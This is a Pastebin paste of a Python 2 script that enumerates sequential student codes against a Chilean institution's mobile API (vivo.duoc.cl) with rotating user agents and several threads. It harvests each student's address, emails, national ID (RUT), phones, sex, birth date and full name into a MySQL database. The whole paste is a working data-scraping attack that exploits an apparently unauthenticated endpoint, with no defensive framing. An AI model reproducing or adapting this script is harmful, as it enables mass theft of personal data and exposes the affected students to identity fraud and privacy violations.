Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # -*- coding: utf-8 -*-
- __author__ = 'Cl34r'
- import json
- from threading import Thread
- import randomagents
- from mysql import connector
- import time
- import unicodedata
- import sys
- reload(sys)
- sys.setdefaultencoding('utf-8')
- def elimina_tildes(s):
- return ''.join((c for c in unicodedata.normalize('NFD', s) if unicodedata.category(c) != 'Mn'))
- con = connector.Connect(user='--', password='--', database='--', host='--')
- cur = con.cursor()
- i = 70355 # 1800 + 1000000
- n = input('Cantidad a escanear: ') # 1000000
- hilos = 5
- hilos = int(input('Cuantos Threads? (10 recomendado, 5 default): '))
- def getData(i):
- try:
- j = randomagents.random_useragent(
- 'http://vivo.duoc.cl/VivoMobileServer/getInfoPersonalAlumno?cod_alumno=' + str(i))
- j_obj = json.load(j)
- except Exception, e:
- print '404 or not connect: ', e
- try:
- direccion = (j_obj['data']['direccion']).decode('utf-8')
- direccion = elimina_tildes(direccion)
- nombre = (j_obj['data']['nombre_completo']).decode('utf-8')
- nombre = elimina_tildes(nombre)
- query = (
- "insert into data (direccion, email_duoc, email_personal, rut, telefono, sexo, fecha_nacimiento, celular, nombre, cod_alumno) values (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s)")
- datos = (direccion, str(j_obj['data']['email_duoc']),
- str(j_obj['data']['email_personal']), str(j_obj['data']['rut']),
- str(j_obj['data']['telefono']), str(j_obj['data']['sexo']),
- str(j_obj['data']['fecha_nacimiento']), str(j_obj['data']['celular']),
- nombre, int(i))
- if (cur.execute(query, datos)):
- print '[+] Inserto!: ' + str(j_obj['data']['rut'])
- con.commit()
- except Exception, e:
- print '[-] no data o Error: ', e ," contador: ", i
- while i < n:
- while (n - i) < hilos:
- hilos -= 1
- for x in range(hilos):
- thread = Thread(target=getData, args=(i,))
- thread.start()
- i += 1
- time.sleep(0.5)
- time.sleep(1)
- con.commit()
- con.close()
- print '[+] END'
Add Comment
Please, Sign In to add comment